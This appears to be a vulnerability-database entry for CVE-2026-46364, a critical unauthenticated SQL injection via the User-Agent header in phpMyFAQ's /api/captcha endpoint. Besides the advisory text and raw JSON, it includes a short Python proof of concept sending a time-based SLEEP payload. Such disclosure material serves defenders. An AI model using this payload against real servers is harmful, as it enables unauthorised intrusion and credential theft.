Security Vulnerability Report
中文
CVE-2026-46364 CVSS 9.8 CRITICAL

CVE-2026-46364

Published: 2026-05-15 19:17:04
Last Modified: 2026-05-15 19:17:04

Description

phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

phpMyFAQ < 4.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: phpMyFAQ < 4.1.2 - Unauthenticated SQL Injection (User-Agent) # Description: PoC for time-based blind SQL injection via User-Agent header target_url = "http://target-host/api/captcha" # Malicious User-Agent header with time-based blind SQL injection payload # This payload checks if the database sleeps for 5 seconds headers = { "User-Agent": "Mozilla/5.0' AND (SELECT SLEEP(5))-- -" } try: print("[+] Sending payload to /api/captcha...") response = requests.get(target_url, headers=headers, timeout=10) # If the response takes significantly longer than usual, the injection is likely successful if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Response time: {} seconds".format(response.elapsed.total_seconds())) else: print("[-] Vulnerability not detected or payload failed. Response time: {} seconds".format(response.elapsed.total_seconds())) except requests.exceptions.RequestException as e: print("[!] Error connecting to target: {}".format(e))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-46364", "sourceIdentifier": "[email protected]", "published": "2026-05-15T19:17:03.750", "lastModified": "2026-05-15T19:17:03.750", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/thorsten/phpMyFAQ/commit/b9f25109fddb38eee19987183798638d07943f92", "source": "[email protected]"}, {"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-289f-fq7w-6q2w", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/phpmyfaq-sql-injection-via-user-agent-header-in-builtincaptcha", "source": "[email protected]"}]}}